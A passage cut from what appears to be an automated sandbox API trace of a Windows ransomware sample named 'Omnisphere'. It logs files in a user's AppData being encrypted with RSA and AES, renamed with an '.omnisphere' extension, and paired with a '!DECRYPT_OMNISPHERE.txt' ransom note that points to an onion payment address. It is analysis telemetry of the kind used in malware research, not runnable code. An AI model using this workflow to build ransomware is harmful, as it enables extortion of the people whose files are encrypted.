"c:\\users\\fd1hvy\\appdata\\roaming\\lc8mhy4mo_lq.flv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lc8mhy4mo_lq.flv.omnisphere")) returned 1 [0063.642] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv.omnisphere.id" [0063.642] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lc8mhy4mo_lq.flv.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.677] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.679] CloseHandle (hObject=0x3a8) returned 1 [0063.680] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.681] CloseHandle (hObject=0x3a4) returned 1 [0063.681] SetEndOfFile (hFile=0x3a0) returned 1 [0063.682] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.693] CloseHandle (hObject=0x3a0) returned 1 [0063.693] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\LC8mHy4MO_lq.flv" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.693] GetProcessHeap () returned 0x1600000 [0063.693] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x165d738 [0063.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.693] GetProcessHeap () returned 0x1600000 [0063.693] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641890 [0063.693] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641890, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.693] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.694] GetProcessHeap () returned 0x1600000 [0063.694] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f910 [0063.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f910, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.694] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.694] GetProcessHeap () returned 0x1600000 [0063.694] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c630 [0063.694] PathCombineW (in: pszDest=0x163c630, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.694] GetProcessHeap () returned 0x1600000 [0063.694] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1659d20 [0063.694] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.694] WriteFile (in: hFile=0x3a0, lpBuffer=0x1659d20*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1659d20*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.695] CloseHandle (hObject=0x3a0) returned 1 [0063.695] GetProcessHeap () returned 0x1600000 [0063.695] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165d738 | out: hHeap=0x1600000) returned 1 [0063.695] GetProcessHeap () returned 0x1600000 [0063.695] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f300 [0063.695] PathCombineW (in: pszDest=0x163f300, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.695] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.696] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.696] CloseHandle (hObject=0x3a0) returned 1 [0063.696] GetProcessHeap () returned 0x1600000 [0063.696] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f300 | out: hHeap=0x1600000) returned 1 [0063.696] GetProcessHeap () returned 0x1600000 [0063.696] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0063.696] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ee8d250, ftCreationTime.dwHighDateTime=0x1d4d027, ftLastAccessTime.dwLowDateTime=0x15f80520, ftLastAccessTime.dwHighDateTime=0x1d4d576, ftLastWriteTime.dwLowDateTime=0x15f80520, ftLastWriteTime.dwHighDateTime=0x1d4d576, nFileSizeHigh=0x0, nFileSizeLow=0x90bb, dwReserved0=0x0, dwReserved1=0xed, cFileName="LX62 bOC84McF_7.jpg", cAlternateFileName="LX62BO~1.JPG")) returned 1 [0063.696] GetProcessHeap () returned 0x1600000 [0063.696] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x76) returned 0x163f580 [0063.696] PathCombineW (in: pszDest=0x163f580, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="LX62 bOC84McF_7.jpg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg" [0063.696] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0063.697] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\LX62 bOC84McF_7.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\lx62 boc84mcf_7.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.697] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=37051) returned 1 [0063.697] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x8b97, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.697] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.697] GetTickCount () returned 0x11503c5 [0063.697] GetTickCount () returned 0x11503c5 [0063.697] GetTickCount () returned 0x11503c5 [0063.697] GetTickCount () returned 0x11503c5 [0063.697] GetTickCount () returned 0x11503c5 [0063.697] GetTickCount () returned 0x11503c5 [0063.697] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.698] GetTickCount () returned 0x11503c5 [0063.699] GetTickCount () returned 0x11503c5 [0063.699] GetTickCount () returned 0x11503c5 [0063.699] GetTickCount () returned 0x11503c5 [0063.699] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c498) returned 1 [0063.700] CryptImportKey (in: hProv=0x163c498, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639768) returned 1 [0063.700] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.700] CryptDestroyKey (hKey=0x1639768) returned 1 [0063.700] CryptReleaseContext (hProv=0x163c498, dwFlags=0x0) returned 1 [0063.700] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x90bb, lpName=0x0) returned 0x3a4 [0063.700] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x90bb) returned 0x3430000 [0063.701] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163bc18) returned 1 [0063.701] CryptImportKey (in: hProv=0x163bc18, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639ae8) returned 1 [0063.702] CryptSetKeyParam (hKey=0x1639ae8, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.702] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.703] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.704] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.705] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, 